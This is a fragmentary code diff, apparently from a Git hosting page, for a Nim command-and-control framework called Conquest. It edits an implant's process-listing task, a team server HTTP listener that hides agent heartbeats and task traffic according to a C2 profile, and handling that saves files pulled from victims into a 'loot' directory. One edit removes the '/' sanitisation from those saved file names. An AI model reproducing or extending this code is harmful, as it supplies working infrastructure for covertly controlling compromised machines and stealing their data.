||||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
@@ -48,28 +55,48 @@ when defined(agent):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
var processes: seq[DWORD] = @[]
|
var processes: seq[DWORD] = @[]
|
||||||
|
var procMap = initTable[DWORD, ProcessInfo]()
|
||||||
var output: string = ""
|
var output: string = ""
|
||||||
|
|
||||||
var procMap = processList()
|
# Take a snapshot of running processes
|
||||||
|
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||||
|
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||||
|
raise newException(CatchableError, GetLastError().getError)
|
||||||
|
|
||||||
# Create child-parent process relationships
|
# Close handle after object is no longer used
|
||||||
|
defer: CloseHandle(hSnapshot)
|
||||||
|
|
||||||
|
var pe32: PROCESSENTRY32
|
||||||
|
pe32.dwSize = DWORD(sizeof(PROCESSENTRY32))
|
||||||
|
|
||||||
|
# Loop over processes to fill the map
|
||||||
|
if Process32First(hSnapshot, addr pe32) == FALSE:
|
||||||
|
raise newException(CatchableError, GetLastError().getError)
|
||||||
|
|
||||||
|
while true:
|
||||||
|
var procInfo = ProcessInfo(
|
||||||
|
pid: pe32.th32ProcessID,
|
||||||
|
ppid: pe32.th32ParentProcessID,
|
||||||
|
name: $cast[WideCString](addr pe32.szExeFile[0]),
|
||||||
|
children: @[]
|
||||||
|
)
|
||||||
|
|
||||||
|
procMap[pe32.th32ProcessID] = procInfo
|
||||||
|
|
||||||
|
if Process32Next(hSnapshot, addr pe32) == FALSE:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Build child-parent relationship
|
||||||
for pid, procInfo in procMap.mpairs():
|
for pid, procInfo in procMap.mpairs():
|
||||||
if procMap.contains(procInfo.ppid) and procInfo.ppid != 0:
|
if procMap.contains(procInfo.ppid):
|
||||||
procMap[procInfo.ppid].children.add(pid)
|
procMap[procInfo.ppid].children.add(pid)
|
||||||
else:
|
else:
|
||||||
processes.add(pid)
|
processes.add(pid)
|
||||||
|
|
||||||
# Add header row
|
# Add header row
|
||||||
let headers = @[
|
let headers = @[protect("PID"), protect("PPID"), protect("Process")]
|
||||||
protect("PID"),
|
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n"
|
||||||
protect("PPID"),
|
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n"
|
||||||
protect("Process"),
|
|
||||||
protect("Session"),
|
|
||||||
protect("User context")
|
|
||||||
]
|
|
||||||
|
|
||||||
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<40}{headers[3]:<10}{headers[4]}" & "\n"
|
|
||||||
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(40) & "-".repeat(len(headers[3])).alignLeft(10) & "-".repeat(len(headers[4])) & "\n"
|
|
||||||
|
|
||||||
# Format and print process
|
# Format and print process
|
||||||
proc printProcess(pid: DWORD, indentSpaces: int = 0) =
|
proc printProcess(pid: DWORD, indentSpaces: int = 0) =
|
||||||
@@ -77,15 +104,16 @@ when defined(agent):
|
|||||||
return
|
return
|
||||||
|
|
||||||
var process = procMap[pid]
|
var process = procMap[pid]
|
||||||
let processName = " ".repeat(indentSpaces) & process.name
|
let indent = " ".repeat(indentSpaces)
|
||||||
output &= fmt"{$process.pid:<10}{$process.ppid:<10}{processName:<40}{$process.session:<10}{process.user}" & "\n"
|
|
||||||
|
output &= fmt"{process.pid:<10}{process.ppid:<10}{indent}{process.name:<25}" & "\n"
|
||||||
|
|
||||||
# Recursively print child processes with indentation
|
# Recursively print child processes with indentation
|
||||||
process.children.sort()
|
process.children.sort()
|
||||||
for childPid in process.children:
|
for childPid in process.children:
|
||||||
printProcess(childPid, indentSpaces + 2)
|
printProcess(childPid, indentSpaces + 2)
|
||||||
|
|
||||||
# Iterate over root processes to construct the output
|
# Iterate over root processes
|
||||||
processes.sort()
|
processes.sort()
|
||||||
for pid in processes:
|
for pid in processes:
|
||||||
printProcess(pid)
|
printProcess(pid)
|
||||||
|
|||||||
@@ -126,7 +126,7 @@ proc handleResult*(resultData: seq[byte]) =
|
|||||||
# A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value
|
# A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value
|
||||||
var unpacker = Unpacker.init(Bytes.toString(taskResult.data))
|
var unpacker = Unpacker.init(Bytes.toString(taskResult.data))
|
||||||
let
|
let
|
||||||
fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace("/", "_").replace(":", "") # Replace path characters for better storage of downloaded files
|
fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace(":", "") # Replace path characters for better storage of downloaded files
|
||||||
fileData = unpacker.getDataWithLengthPrefix()
|
fileData = unpacker.getDataWithLengthPrefix()
|
||||||
|
|
||||||
# Create loot directory for the agent
|
# Create loot directory for the agent
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import mummy, terminal
|
import mummy, terminal, strformat, parsetoml, tables
|
||||||
import strutils, strformat
|
import strutils, base64
|
||||||
|
|
||||||
import ./handlers
|
import ./handlers
|
||||||
import ../globals
|
import ../globals
|
||||||
@@ -35,6 +35,7 @@ proc httpGet*(request: Request) =
|
|||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
# Check heartbeat metadata placement
|
# Check heartbeat metadata placement
|
||||||
|
var heartbeat: seq[byte]
|
||||||
var heartbeatString: string
|
var heartbeatString: string
|
||||||
|
|
||||||
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
|
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||||
@@ -45,20 +46,30 @@ proc httpGet*(request: Request) =
|
|||||||
return
|
return
|
||||||
heartbeatString = request.headers.get(heartbeatHeader)
|
heartbeatString = request.headers.get(heartbeatHeader)
|
||||||
|
|
||||||
of "query":
|
of "parameter":
|
||||||
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||||
heartbeatString = request.queryParams.get(param)
|
heartbeatString = request.queryParams.get(param)
|
||||||
if heartbeatString.len <= 0:
|
if heartbeatString.len <= 0:
|
||||||
request.respond(404, body = "")
|
request.respond(404, body = "")
|
||||||
return
|
return
|
||||||
|
|
||||||
|
of "uri":
|
||||||
|
discard
|
||||||
of "body":
|
of "body":
|
||||||
heartbeatString = request.body
|
discard
|
||||||
|
|
||||||
else: discard
|
else: discard
|
||||||
|
|
||||||
# Reverse data transformation to get raw heartbeat packet
|
# Retrieve and apply data transformation to get raw heartbeat packet
|
||||||
let heartbeat = cq.profile.reverseDataTransformation("http-get.agent.heartbeat", heartbeatString)
|
let
|
||||||
|
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
|
||||||
|
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
|
||||||
|
encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
|
||||||
|
|
||||||
|
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
|
||||||
|
of "base64":
|
||||||
|
heartbeat = string.toBytes(decode(encHeartbeat))
|
||||||
|
of "none":
|
||||||
|
heartbeat = string.toBytes(encHeartbeat)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
var responseBytes: seq[byte]
|
var responseBytes: seq[byte]
|
||||||
@@ -77,20 +88,29 @@ proc httpGet*(request: Request) =
|
|||||||
responseBytes.add(task)
|
responseBytes.add(task)
|
||||||
|
|
||||||
# Apply data transformation to the response
|
# Apply data transformation to the response
|
||||||
let payload = cq.profile.applyDataTransformation("http-get.server.output", responseBytes)
|
var response: string
|
||||||
|
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
||||||
|
of "none":
|
||||||
|
response = Bytes.toString(responseBytes)
|
||||||
|
of "base64":
|
||||||
|
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
let prefix = cq.profile.getString("http-get.server.output.prefix")
|
||||||
|
let suffix = cq.profile.getString("http-get.server.output.suffix")
|
||||||
|
|
||||||
# Add headers, as defined in the team server profile
|
# Add headers, as defined in the team server profile
|
||||||
var headers: HttpHeaders
|
var headers: HttpHeaders
|
||||||
for header in cq.profile.getTableKeys("http-get.server.headers"):
|
for header, value in cq.profile.getTable("http-get.server.headers"):
|
||||||
headers.add((header.key, header.value.getStringValue()))
|
headers.add((header, value.getStringValue()))
|
||||||
|
|
||||||
request.respond(200, headers = headers, body = payload)
|
request.respond(200, headers = headers, body = prefix & response & suffix)
|
||||||
|
|
||||||
# Notify operator that agent collected tasks
|
# Notify operator that agent collected tasks
|
||||||
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$responseBytes.len} bytes sent.")
|
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$response.len} bytes sent.")
|
||||||
cq.info(fmt"{$responseBytes.len} bytes sent.")
|
cq.info(fmt"{$response.len} bytes sent.")
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError:
|
||||||
request.respond(404, body = "")
|
request.respond(404, body = "")
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -101,49 +121,24 @@ proc httpPost*(request: Request) =
|
|||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Retrieve data from the request
|
# Differentiate between registration and task result packet
|
||||||
var dataString: string
|
var unpacker = Unpacker.init(request.body)
|
||||||
|
let header = unpacker.deserializeHeader()
|
||||||
case cq.profile.getString("http-post.agent.output.placement.type"):
|
|
||||||
of "header":
|
|
||||||
let dataHeader = cq.profile.getString("http-post.agent.output.placement.name")
|
|
||||||
if not request.headers.hasKey(dataHeader):
|
|
||||||
request.respond(400, body = "")
|
|
||||||
return
|
|
||||||
dataString = request.headers.get(dataHeader)
|
|
||||||
|
|
||||||
of "query":
|
|
||||||
let param = cq.profile.getString("http-post.agent.output.placement.name")
|
|
||||||
dataString = request.queryParams.get(param)
|
|
||||||
if dataString.len <= 0:
|
|
||||||
request.respond(400, body = "")
|
|
||||||
return
|
|
||||||
|
|
||||||
of "body":
|
|
||||||
dataString = request.body
|
|
||||||
|
|
||||||
else: discard
|
|
||||||
|
|
||||||
# Reverse data transformation
|
|
||||||
let data = cq.profile.reverseDataTransformation("http-post.agent.output", dataString)
|
|
||||||
|
|
||||||
# Add response headers, as defined in team server profile
|
# Add response headers, as defined in team server profile
|
||||||
var headers: HttpHeaders
|
var headers: HttpHeaders
|
||||||
for header in cq.profile.getTableKeys("http-post.server.headers"):
|
for header, value in cq.profile.getTable("http-post.server.headers"):
|
||||||
headers.add((header.key, header.value.getStringValue()))
|
headers.add((header, value.getStringValue()))
|
||||||
|
|
||||||
# Differentiate between registration and task result packet
|
|
||||||
var unpacker = Unpacker.init(Bytes.toString(data))
|
|
||||||
let header = unpacker.deserializeHeader()
|
|
||||||
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
||||||
if not register(data, request.remoteAddress):
|
if not register(string.toBytes(request.body), request.remoteAddress):
|
||||||
request.respond(400, body = "")
|
request.respond(400, body = "")
|
||||||
return
|
return
|
||||||
|
|
||||||
elif cast[PacketType](header.packetType) == MSG_RESULT:
|
elif cast[PacketType](header.packetType) == MSG_RESULT:
|
||||||
handleResult(data)
|
handleResult(string.toBytes(request.body))
|
||||||
|
|
||||||
request.respond(200, body = cq.profile.getString("http-post.server.output.body"))
|
request.respond(200, body = "")
|
||||||
|
|
||||||
except CatchableError:
|
except CatchableError:
|
||||||
request.respond(404, body = "")
|
request.respond(404, body = "")
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import terminal, strformat, strutils, sequtils, tables, system, osproc, streams
|
import terminal, strformat, strutils, sequtils, tables, system, osproc, streams, parsetoml
|
||||||
|
|
||||||
import ../globals
|
import ../globals
|
||||||
import ../core/[logger, websocket]
|
import ../core/[logger, websocket]
|
||||||
@@ -38,7 +38,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
|
|||||||
packer.addData(cq.keyPair.publicKey)
|
packer.addData(cq.keyPair.publicKey)
|
||||||
|
|
||||||
# C2 profile
|
# C2 profile
|
||||||
packer.addDataWithLengthPrefix(string.toBytes(cq.profileString))
|
packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))
|
||||||
|
|
||||||
let data = packer.pack()
|
let data = packer.pack()
|
||||||
packer.reset()
|
packer.reset()
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
import strformat, strutils, terminal, tables
|
import strformat, strutils, terminal
|
||||||
import mummy, mummy/routers
|
import mummy, mummy/routers
|
||||||
|
import parsetoml
|
||||||
|
|
||||||
import ../api/routes
|
import ../api/routes
|
||||||
import ../db/database
|
import ../db/database
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import times, json, base64, strformat
|
import times, json, base64, parsetoml, strformat, pixie
|
||||||
import stb_image/write as stbiw
|
import stb_image/write as stbiw
|
||||||
import ./logger
|
import ./logger
|
||||||
import ../../common/[types, utils, event]
|
import ../../common/[types, utils, event]
|
||||||
@@ -46,12 +46,12 @@ proc sendPublicKey*(client: WsConnection, publicKey: Key) =
|
|||||||
if client != nil:
|
if client != nil:
|
||||||
client.ws.sendEvent(event, client.sessionKey)
|
client.ws.sendEvent(event, client.sessionKey)
|
||||||
|
|
||||||
proc sendProfile*(client: WsConnection, profileString: string) =
|
proc sendProfile*(client: WsConnection, profile: Profile) =
|
||||||
let event = Event(
|
let event = Event(
|
||||||
eventType: CLIENT_PROFILE,
|
eventType: CLIENT_PROFILE,
|
||||||
timestamp: now().toTime().toUnix(),
|
timestamp: now().toTime().toUnix(),
|
||||||
data: %*{
|
data: %*{
|
||||||
"profile": profileString
|
"profile": profile.toTomlString()
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
if client != nil:
|
if client != nil:
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import mummy, mummy/routers
|
import mummy, mummy/routers
|
||||||
import terminal, json, math, base64, times
|
import terminal, parsetoml, json, math, base64, times
|
||||||
import strutils, strformat, system, tables
|
import strutils, strformat, system, tables
|
||||||
|
|
||||||
import ./globals
|
import ./globals
|
||||||
@@ -15,15 +15,14 @@ proc header() =
|
|||||||
echo "─".repeat(21)
|
echo "─".repeat(21)
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
proc init*(T: type Conquest, profileString: string): Conquest =
|
proc init*(T: type Conquest, profile: Profile): Conquest =
|
||||||
var cq = new Conquest
|
var cq = new Conquest
|
||||||
cq.listeners = initTable[string, Listener]()
|
cq.listeners = initTable[string, Listener]()
|
||||||
cq.threads = initTable[string, Thread[Listener]]()
|
cq.threads = initTable[string, Thread[Listener]]()
|
||||||
cq.agents = initTable[string, Agent]()
|
cq.agents = initTable[string, Agent]()
|
||||||
cq.profileString = profileString
|
cq.profile = profile
|
||||||
cq.profile = parseString(profileString)
|
cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & profile.getString("private-key-file"))
|
||||||
cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & cq.profile.getString("private-key-file"))
|
cq.dbPath = CONQUEST_ROOT & "/" & profile.getString("database-file")
|
||||||
cq.dbPath = CONQUEST_ROOT & "/" & cq.profile.getString("database-file")
|
|
||||||
cq.client = nil
|
cq.client = nil
|
||||||
return cq
|
return cq
|
||||||
|
|
||||||
@@ -46,6 +45,9 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
|||||||
cq.client.sendPublicKey(cq.keyPair.publicKey)
|
cq.client.sendPublicKey(cq.keyPair.publicKey)
|
||||||
|
|
||||||
of MessageEvent:
|
of MessageEvent:
|
||||||
|
# Continuously send heartbeat messages
|
||||||
|
ws.sendHeartbeat()
|
||||||
|
|
||||||
let event = message.recvEvent(cq.client.sessionKey)
|
let event = message.recvEvent(cq.client.sessionKey)
|
||||||
|
|
||||||
case event.eventType:
|
case event.eventType:
|
||||||
@@ -55,7 +57,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
|||||||
|
|
||||||
# Send relevant information to the client
|
# Send relevant information to the client
|
||||||
# C2 profile
|
# C2 profile
|
||||||
cq.client.sendProfile(cq.profileString)
|
cq.client.sendProfile(cq.profile)
|
||||||
|
|
||||||
# Listeners
|
# Listeners
|
||||||
for id, listener in cq.listeners:
|
for id, listener in cq.listeners:
|
||||||
@@ -141,10 +143,11 @@ proc startServer*(profilePath: string) =
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
# Initialize framework context
|
# Initialize framework context
|
||||||
let profileString = readFile(profilePath)
|
# Load and parse profile
|
||||||
cq = Conquest.init(profileString)
|
let profile = parsetoml.parseFile(profilePath)
|
||||||
|
cq = Conquest.init(profile)
|
||||||
|
|
||||||
cq.info("Using profile \"", cq.profile.getString("name"), "\" (", profilePath ,").")
|
cq.info("Using profile \"", profile.getString("name"), "\" (", profilePath ,").")
|
||||||
|
|
||||||
# Initialize database
|
# Initialize database
|
||||||
cq.dbInit()
|
cq.dbInit()
|
||||||
@@ -163,7 +166,7 @@ proc startServer*(profilePath: string) =
|
|||||||
|
|
||||||
# Increased websocket message length in order to support dotnet assembly execution (1GB)
|
# Increased websocket message length in order to support dotnet assembly execution (1GB)
|
||||||
let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024)
|
let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024)
|
||||||
server.serve(Port(cq.profile.getInt("team-server.port")), cq.profile.getString("team-server.host"))
|
server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0")
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo err.msg
|
echo err.msg
|
||||||
|
|||||||
Reference in New Issue
Block a user